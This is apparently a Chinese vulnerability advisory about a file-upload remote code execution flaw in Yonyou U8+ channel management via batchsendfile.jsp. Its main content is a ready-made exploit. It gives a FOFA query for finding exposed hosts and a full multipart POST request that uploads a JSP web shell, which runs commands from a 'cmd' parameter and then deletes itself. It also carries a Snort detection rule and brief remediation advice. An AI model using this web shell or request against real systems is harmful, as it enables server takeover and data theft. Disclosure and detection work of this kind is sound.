

用友U8+渠道管理(高级版) batchsendfile.jsp 文件上传致RCE漏洞

用友U8+渠道管理(高级版) batchsendfile.jsp 文件上传致RCE漏洞，攻击者可通过上传恶意文件导致服务器被控制。

影响版本

用友U8+

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: "common/images/dot.gif" && (icon_hash="737647198" || icon_hash="84729000")

POC/EXP:

```
POST /business/common/lxgzds/batchsendfile.jsp HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFfJZ4PlAZBixjELj
Accept: */*
Connection: close

-----WebKitFormBoundaryFfJZ4PlAZBixjELj
Content-Disposition: form-data; name="file"; filename="1.jsp"
Content-Type: image/jpeg
```

```
<% java.io.InputStream in =
Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int a =
-1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1)
{out.println(new String(b,0,a));}out.print("</pre>");new
java.io.File(application.getRealPath(request.getServletPath())).delete();%>
-----WebKitFormBoundaryFfjZ4PlAZBixjELj--
```

The screenshot displays a network traffic analysis tool interface. The left pane shows a 'Request' tab with a POST request to `/business/common/lxgzds/batchsendfile.jsp` over HTTP/1.1. The request body is a multipart/form-data payload. The right pane shows the 'Content-Type' response, which is an HTML document. The HTML content includes a form with several hidden inputs, a script to submit the form, and a watermark function. The response status is 200.

sonrt规则：

```
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
  msg:"Yonyou U8+ - JSP webservice upload via batchsendfile.jsp";
  flow:to_server,established;
  content:"POST"; http_method;
  content:"/business/common/lxgzds/batchsendfile.jsp"; http_uri;
  content:"filename="; http_client_body;
  pcre:"/filename=[\''"](?:[^\''"]|\\.)*\\.jsp(?:[\\'\"/]|$)/i";
  pcre:"/<[%[^\>]]*Runtime\\.getRuntime\\(\\)\\.exec\\(\\/i";
  metadata:cve CVE-2025-XXXXX;
  metadata:affected_product "用友U8+渠道管理系统";
  classtype:web-application-attack;
  sid:1000403;
  rev:1;
  priority:1;
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。